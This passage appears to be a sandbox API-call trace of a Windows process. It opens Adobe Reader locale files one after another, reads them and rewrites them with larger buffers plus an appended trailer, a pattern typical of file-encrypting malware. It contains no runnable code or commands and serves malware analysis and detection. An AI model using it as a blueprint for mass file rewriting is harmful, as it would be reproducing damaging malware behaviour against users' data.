lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.475] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1800 [0039.475] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.475] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.476] ReleaseMutex (hMutex=0x128) returned 1 [0039.476] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.KOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.476] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.KOR", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.KOR", lpUsedDefaultChar=0x0) returned 9 [0039.476] ReadFile (in: hFile=0x12c, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf2bc*=0x1800, lpOverlapped=0x0) returned 1 [0039.487] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0039.488] WriteFile (in: hFile=0x12c, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1d88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x32cf2d0*=0x1d88, lpOverlapped=0x0) returned 1 [0039.488] CloseHandle (hObject=0x12c) returned 1 [0039.488] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\SaveAsRTF.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\saveasrtf.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.488] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.488] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3800 [0039.488] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.488] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.488] ReleaseMutex (hMutex=0x128) returned 1 [0039.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.KOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.KOR", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.KOR", lpUsedDefaultChar=0x0) returned 13 [0039.489] ReadFile (in: hFile=0x12c, lpBuffer=0x2769058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2769058*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.495] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2800 [0039.495] ReadFile (in: hFile=0x12c, lpBuffer=0x2769058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2769058*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.500] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2800 [0039.500] WriteFile (in: hFile=0x12c, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.500] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0039.500] WriteFile (in: hFile=0x12c, lpBuffer=0x2771388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.500] CloseHandle (hObject=0x12c) returned 1 [0039.513] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\AdobeCollabSync.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\adobecollabsync.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.520] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.520] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1a00 [0039.520] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.520] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.520] ReleaseMutex (hMutex=0x128) returned 1 [0039.520] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NOR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0039.520] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NOR", cchWideChar=19, lpMultiByteStr=0x1e78a8c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.NOR", lpUsedDefaultChar=0x0) returned 19 [0039.520] ReadFile (in: hFile=0x184, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x32cf2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0039.529] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0039.529] WriteFile (in: hFile=0x184, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x32cf2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0039.529] CloseHandle (hObject=0x184) returned 1 [0039.530] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Multimedia.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\multimedia.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.530] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.530] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x13000 [0039.530] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.530] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.530] ReleaseMutex (hMutex=0x128) returned 1 [0039.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NOR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0039.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NOR", cchWideChar=14, lpMultiByteStr=0x1e6322c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.NOR", lpUsedDefaultChar=0x0) returned 14 [0039.530] ReadFile (in: hFile=0x184, lpBuffer=0x2617c48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2617c48*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0039.536] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x12000 [0039.536] ReadFile (in: hFile=0x184, lpBuffer=0x2613c48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2613c48*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.544] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x12000 [0039.544] WriteFile (in: hFile=0x184, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.544] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0039.544] WriteFile (in: hFile=0x184, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.545] CloseHandle (hObject=0x184) returned 1 [0039.545] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.545] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.545] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xe1 [0039.545] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.545] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.545] ReleaseMutex (hMutex=0x128) returned 1 [0039.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0039.545] ReadFile (in: hFile=0x184, lpBuffer=0x1dd1638, nNumberOfBytesToRead=0xe1, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dd1638*, lpNumberOfBytesRead=0x32cf2bc*=0xe1, lpOverlapped=0x0) returned 1 [0039.546] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0039.546] WriteFile (in: hFile=0x184, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x669, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x669, lpOverlapped=0x0) returned 1 [0039.547] CloseHandle (hObject=0x184) returned 1 [0039.547] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DigSig.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\digsig.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.547] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.547] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x21400 [0039.547] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.547] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.547] ReleaseMutex (hMutex=0x128) returned 1 [0039.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NLD", cchWideChar=10, lpMultiByteStr=0x1e633ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.NLD", lpUsedDefaultChar=0x0) returned 10 [0039.547] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0039.557] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x20400 [0039.557] ReadFile (in: hFile=0x184, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.566] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x20400 [0039.566] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.566] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0039.566] WriteFile (in: hFile=0x184, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.566] CloseHandle (hObject=0x184) returned 1 [0039.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\ReadOutLoud.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\readoutloud.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.567] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.567] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2c00 [0039.567] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.567] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.567] ReleaseMutex (hMutex=0x128) returned 1 [0039.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NLD", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0039.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NLD", cchWideChar=15, lpMultiByteStr=0x1e6338c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.NLD", lpUsedDefaultChar=0x0) returned 15 [0039.567] ReadFile (in: hFile=0x184, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.577] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1c00 [0039.577] ReadFile (in: hFile=0x184, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.585] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1c00 [0039.585] WriteFile (in: hFile=0x184, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.586] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0039.586] WriteFile (in: hFile=0x184, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.586] CloseHandle (hObject=0x184) returned 1 [0039.586] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\accessibility.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\accessibility.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.587] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.587] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xac00 [0039.587] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.587] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.587] ReleaseMutex (hMutex=0x128) returned 1 [0039.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.POL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0039.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.POL", cchWideChar=17, lpMultiByteStr=0x1e78a8c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.POL", lpUsedDefaultChar=0x0) returned 17 [0039.587] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0039.591] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x9c00 [0039.591] ReadFile (in: hFile=0x184, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0039.593] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x9c00 [0039.593] WriteFile (in: hFile=0x184, lpBuffer=0x1da7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1da7ed8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.594] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0039.594] WriteFile (in: hFile=0x184, lpBuffer=0x1da7ed8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1da7ed8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.594] CloseHandle (hObject=0x184) returned 1 [0039.595] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\IA32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ia32.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.595] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.595] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xe00 [0039.595] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0039.595] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.595] ReleaseMutex (hMutex=0x128) returned 1 [0039.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.POL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0039.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.POL", cchWideChar=8, lpMultiByteStr=0x1e6338c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.POL", lpUsedDefaultChar=0x0) returned 8 [0039.595] ReadFile (in: hFile=0x184, lpBuffer=0x1d80018, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x32cf2bc*=0xe00, lpOverlapped=0x0) returned 1 [0039.801] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0039.866] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x32cf2d0*=0x1388, lpOverlapped=0x0) returned 1 [0039.867] CloseHandle (hObject=0x184) returned 1 [0039.868] CreateFileW (lpFileName="C:\\Program Files 